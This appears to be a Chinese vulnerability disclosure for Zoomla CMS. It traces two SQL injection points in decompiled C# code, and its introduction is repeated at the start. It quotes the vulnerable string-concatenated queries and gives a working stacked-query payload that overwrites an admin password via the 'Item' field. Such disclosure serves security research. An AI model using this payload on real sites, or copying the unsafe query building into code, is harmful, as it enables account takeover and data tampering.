### 简要描述: 对于厂商那么自信说“这些漏洞都是老漏洞,之前就修复了”这种给力的态度,决定再提交两个吧,当完结篇,同时为了不浪费大家打开页面的时间,就都放在一个里面提交了! 第一个注入点同样是可以直接update的; 第二个注入点还是绕过他那坑爹的“防注入”的。 ### 详细说明: 注入点1: http://demo.zoomla.cn/User/Pages/ViewSmallPub.aspx?Pubid=3&ID=1 Button3_Click ``` protected void Button3_Click(object sender, EventArgs e) { string text = base.Request.Form["Item"]; //给text赋值 if (!string.IsNullOrEmpty(text) && this.buser.DelModelInfoAllo(this.HiddenTable.Value, text)) //将参数带入删除模块中 { base.Response.Write("<script language=javascript>alert('批量删除成功!');location.href='ViewPub.aspx?pubid=" + this.HiddenPubid.Value + "';</script>"); return; } base.Response.Write("<script language=javascript>alert('批量删除失败!请选择您要删除的数据');location.href='ViewPub.aspx?pubid=" + this.HiddenPubid.Value + "';</script>"); } ``` ``` this.buser.DelModelInfoAllo(this.HiddenTable.Value, text) public bool DelModelInfoAllo(string TableName, string ids) { return Sql.Del(TableName, "ID in (" + ids + ")"); } ``` 添加一个回复 [<img...
### 简要描述: 对于厂商那么自信说“这些漏洞都是老漏洞,之前就修复了”这种给力的态度,决定再提交两个吧,当完结篇,同时为了不浪费大家打开页面的时间,就都放在一个里面提交了! 第一个注入点同样是可以直接update的; 第二个注入点还是绕过他那坑爹的“防注入”的。 ### 详细说明: 注入点1: http://demo.zoomla.cn/User/Pages/ViewSmallPub.aspx?Pubid=3&ID=1 Button3_Click ``` protected void Button3_Click(object sender, EventArgs e) { string text = base.Request.Form["Item"]; //给text赋值 if (!string.IsNullOrEmpty(text) && this.buser.DelModelInfoAllo(this.HiddenTable.Value, text)) //将参数带入删除模块中 { base.Response.Write("<script language=javascript>alert('批量删除成功!');location.href='ViewPub.aspx?pubid=" + this.HiddenPubid.Value + "';</script>"); return; } base.Response.Write("<script language=javascript>alert('批量删除失败!请选择您要删除的数据');location.href='ViewPub.aspx?pubid=" + this.HiddenPubid.Value + "';</script>"); } ``` ``` this.buser.DelModelInfoAllo(this.HiddenTable.Value, text) public bool DelModelInfoAllo(string TableName, string ids) { return Sql.Del(TableName, "ID in (" + ids + ")"); } ``` 添加一个回复 [<img src="https://images.seebug.org/upload/201310/282302106863b3e8c857c7dacf732ded527647b5.png" alt="image037.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201310/282302106863b3e8c857c7dacf732ded527647b5.png) [<img src="https://images.seebug.org/upload/201310/28230233a7cafdf857f1cd09a8d4757b7daa468a.png" alt="image039.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201310/28230233a7cafdf857f1cd09a8d4757b7daa468a.png) Item= 1); update zl_manager set adminpassword='c4ca4238a0b923820dcc509a6f75849b' where adminname='testuser';-- HiddenTable同为可控参数。 [<img src="https://images.seebug.org/upload/201310/2823030367d0349b89215b55d4e3c2304db08614.png" alt="image041.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201310/2823030367d0349b89215b55d4e3c2304db08614.png) ### 漏洞证明: 注入点2: 还是注册页面的啊……………… http://zoomla.cn/User/Register.aspx 找到对应的DLL,发现里面有检查用户名的函数: ``` private void CheckUserName(); 进入该方法 if (this.buser.IsExit(this.TxtUserName.Text)) { function.WriteErrMsg("<li>该用户名已被他人占用,请输入不同的用户名!</li>"); } ``` 继续进入到buser.IsExit ``` public bool IsExit(string userName) { return Sql.IsExist(this.strTableName, "UserName='" + userName + "'"); } ``` 看到这就感觉可能会有SQL注入了,进入Sql.IsExists: ``` public static bool IsExist(string strTableName, string strWhere) { string strSql = "select count(*) from " + strTableName; //注入 if (!string.IsNullOrEmpty(strWhere)) { strSql = strSql + " WHERE " + strWhere; } return SqlHelper.ObjectToInt32(SqlHelper.ExecuteScalar(CommandType.Text, strSql)) > 0; } ``` 里面防注入的绕过方法看 [WooYun: 逐浪CMS通用型SQL注入3](http://www.wooyun.org/bugs/wooyun-2013-040915) 不再多复述了。